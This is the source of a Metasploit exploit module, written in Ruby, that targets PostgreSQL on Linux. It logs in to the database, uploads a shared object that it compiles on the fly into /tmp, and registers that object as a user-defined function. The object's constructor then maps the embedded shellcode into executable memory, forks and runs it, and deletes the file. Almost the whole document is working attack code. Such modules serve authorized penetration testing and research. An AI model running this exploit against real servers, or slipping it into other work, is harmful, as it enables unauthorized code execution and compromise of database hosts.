metasploit-framework/modules/exploits/linux/postgres/postgres_payload.rb

190 lines
5.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/postgres'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL for Linux Payload Execution',
'Description' => %q{
On some default Linux installations of PostgreSQL, the
postgres service account may write to the /tmp directory, and
may source UDF Shared Libraries's from there as well, allowing
execution of arbitrary code.
This module compiles a Linux shared object file, uploads it to
the target host via the UPDATE pg_largeobject method of binary
injection, and creates a UDF (user defined function) from that
shared object. Because the payload is run as the shared object's
constructor, it does not need to conform to specific Postgres
API versions.
},
'Author' =>
[
'midnitesnake', # this Metasploit module
'egypt', # on-the-fly compiled .so technique
'todb' # original windows module this is based on
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
],
'Platform' => 'linux',
'Payload' =>
{
'Space' => 65535,
'DisableNops' => true,
},
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 05 2007'
))
deregister_options('SQL', 'RETURN_ROWSET')
end
def check
version = postgres_fingerprint
if version[:auth]
return CheckCode::Appears
else
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
return CheckCode::Safe
end
end
def exploit
version = do_login(username,password,database)
case version
when :noauth; print_error "Authentication failed."; return
when :noconn; print_error "Connection failed."; return
else
print_status("#{rhost}:#{rport} - #{version}")
end
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
unless postgres_upload_binary_data(payload_so(fname), fname)
print_error "Could not upload the UDF SO"
return
end
print_status "Uploaded as #{fname}, should be cleaned up automatically"
begin
func_name = Rex::Text.rand_text_alpha(10)
postgres_query(
"create or replace function pg_temp.#{func_name}()"+
" returns void as '#{fname}','#{func_name}'"+
" language c strict immutable"
)
rescue RuntimeError => e
print_error "Failed to create UDF function: #{e.class}: #{e}"
end
postgres_logout if @postgres_conn
end
# Authenticate to the postgres server.
#
# Returns the version from #postgres_fingerprint
def do_login(user=nil,pass=nil,database=nil)
begin
password = pass || postgres_password
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
report_service(
:host => rhost,
:port => rport,
:name => "postgres",
:info => result.values.first
)
return result[:auth]
else
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
return :noauth
end
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
return :noconn
end
end
def payload_so(filename)
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
#shellcode = "\\xcc"
c = %Q^
int _exit(int);
int printf(const char*, ...);
int perror(const char*);
void *mmap(int, int, int, int, int, int);
void *memcpy(void *, const void *, int);
int mprotect(void *, int, int);
int fork();
int unlink(const char *pathname);
#define MAP_PRIVATE 2
#define MAP_ANONYMOUS 32
#define PROT_READ 1
#define PROT_WRITE 2
#define PROT_EXEC 4
#define PAGESIZE 0x1000
char shellcode[] = "#{shellcode}";
void run_payload(void) __attribute__((constructor));
void run_payload(void)
{
int (*fp)();
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
memcpy(fp, shellcode, sizeof(shellcode));
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
_exit(1);
}
if (!fork()) {
fp();
}
unlink("#{filename}");
return;
}
^
cpu = case target_arch.first
when ARCH_X86; Metasm::Ia32.new
when ARCH_X64; Metasm::X86_64.new
end
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
so_file = payload_so.encode_string(:lib)
so_file
end
end